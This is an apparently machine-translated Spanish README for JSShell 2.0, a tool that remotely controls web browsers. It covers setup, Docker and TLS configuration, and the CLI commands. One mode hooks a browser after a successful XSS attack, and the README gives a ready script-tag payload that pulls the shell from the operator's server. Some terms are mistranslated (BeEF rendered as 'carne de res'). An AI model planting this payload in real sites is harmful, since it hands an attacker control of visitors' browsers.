JSShell

JSSHELL 2.0

Un shell de JavaScript basado en la web múltiple interactivo. Inicialmente se creó para depurar los navegadores esotéricos remotos durante los experimentos y la investigación. Esta herramienta se puede adjuntar fácilmente a la carga útil XSS (secuencia de comandos del sitio cruzado) para lograr la ejecución del código remoto del navegador (similar al marco de carne de res).

La versión 2.0 se crea completamente desde cero, introduciendo nuevas características emocionantes, estabilidad y mantenimiento.

Versión: 2.0

Autor

Daniel Abeles.

Video de shell

Características

• Soporte múltiple al cliente
• Soporte de objetos DOM cíclicos
• Scripts previos al vuelo
• Cola de comandos y contexto
• Extensible con complementos
• Inyectable a través de etiquetas <script>
• Dumping Salida del comando a archivo
• Paginación de concha
• ¡Soporte HTTPS!

Instalación y configuración

Archivo de configuración

En el directorio resources , actualice el archivo config.json con su configuración deseada:

• Host de la base de datos: si se ejecuta con el método de implementación docker , elija el host de base de datos como db (que es el nombre interno de host).
• URL de retorno: la URL que seguirán las solicitudes. El archivo shell.js hace algunas llamadas de AJAX para registrarse y sondear para nuevos comandos. Por lo general, será http[s]://{YOUR_SERVER_IP}:{PORT} .
• Script de inicio: un script que se ejecuta automáticamente cuando se genera el cliente JSSHELL CLI.
• Dominio: si desea generar certificados TLS, este es el nombre de dominio que usará el servidor.
• También es posible apuntar en una base de datos remota si lo desea.

Vamos a cifrar

Ahora JSShell admite TLS, lo que significa que ahora puede generar certificados TLS y alimentarlos al servidor web. El servidor web inferirá el nombre de dominio del archivo config.json . Para crear el certificado, use el script create_cert.py en la carpeta de scripts :

$ cd scripts
$ python create_cert.py --domain < YOUR_DOMAIN > --email < YOUR_EMAIL > 

El campo de correo electrónico es opcional.

Tenga en cuenta que el servidor web debe estar bajo para que el script funcione correctamente. ¡En este punto, hemos generado con éxito nuestros certificados! Las únicas modificaciones que debemos hacer son:

• En el archivo config.json , cambie el esquema del campo URL a https .
• En el archivo docker-compose.yml cambia el puerto expuesto del contenedor web a 443 .

Estibador

Esta nueva versión admite la instalación y ejecución de JSSHELL a través de docker y docker-compose . Ahora, para instalar y ejecutar todo el marco de JSShell, simplemente ejecute:

$ ./scripts/start_docker_shell.sh

Esto lo hará:

• Iniciar y crear la base de datos en segundo plano
• Inicie el servidor de API web que maneja las conexiones entrantes en segundo plano
• Generar una nueva instancia del contenedor de interfaz de línea de comandos JSShell

Regular

Si aún desea utilizar el método de instalación de la antigua moda, simplemente asegúrese de tener una base de datos MongoDB en ejecución, y actualice el archivo config.json que reside en el directorio resources .

Recomiendo usar un entorno virtual con pyenv :

$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv

O usar virtualenv :

$ virtualenv -p python3.6 venv
$ source venv/bin/activate

Luego, instale los requisitos:

$ pip install -r requirements.txt

Correr

Si usó el método docker , no es necesario ejecutar el siguiente procedimiento.

Servidor web

De lo contrario, una vez que tenemos la configuración de la base de datos, necesitamos iniciar el servidor de API web. Para hacer, ejecutar:

$ python manage.py web

Esto creará y ejecutará un servidor web que escucha a las conexiones entrantes y sirve a nuestro código JSSHELL.

Caparazón

Ahora para comenzar el JSSHell CLI, ejecute el mismo script pero ahora con la bandera shell :

$ python manage.py shell

Uso

Después de configurar y ejecutar los componentes requeridos, ingrese el comando help para ver los comandos disponibles:

     ╦╔═╗┌─┐┬ ┬┌─┐┬  ┬  
     ║╚═╗└─┐├─┤├┤ │  │  
    ╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0     
        by @Daniel_Abeles
    
>> help

Documented commands (type help <topic>):

General Commands
--------------------------------------------------------------------------------
edit                Edit a file in a text editor
help                List available commands or provide detailed help for a specific command
history             View, run, edit, save, or clear previously entered commands
ipy                 Enter an interactive IPython shell
py                  Invoke Python command or shell
quit                Exit this application

Shell Based Operations
--------------------------------------------------------------------------------
back                Un-select the current selected client
clients             List and control the clients that have registered to our system
commands            Show the executed commands on the selected client
dump                Dumps a command to the disk
execute             Execute commands on the selected client
select              Select a client as the current client

>> 

Fluir

JSShell admite 2 métodos de operación:

1. Shell inyectable (similar al marco de carne)
2. Alojado Shell (para la depuración)

Concha inyectable

Similar a otros marcos de control XSS (como la carne de res), JSSHELL es capaz de administrar explotaciones de XSS exitosas. En el ejemplo, si puede inyectar una etiqueta script , inyecte el siguiente recurso a su carga útil y aparecerá un nuevo cliente en su consola:

<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>

Concha alojada

Si desea depurar navegadores exóticos y esotéricos, simplemente puede navegar a http[s]://{YOUR_SERVER_IP}:{PORT}/ y un nuevo cliente aparecerá en su cliente JSSHELL CLI. Ahora es debuggable a través de nuestra consola JSSHELL.

Créditos

Canop para JSON.PRUNE

Úselo bajo su propia responsabilidad y riesgo.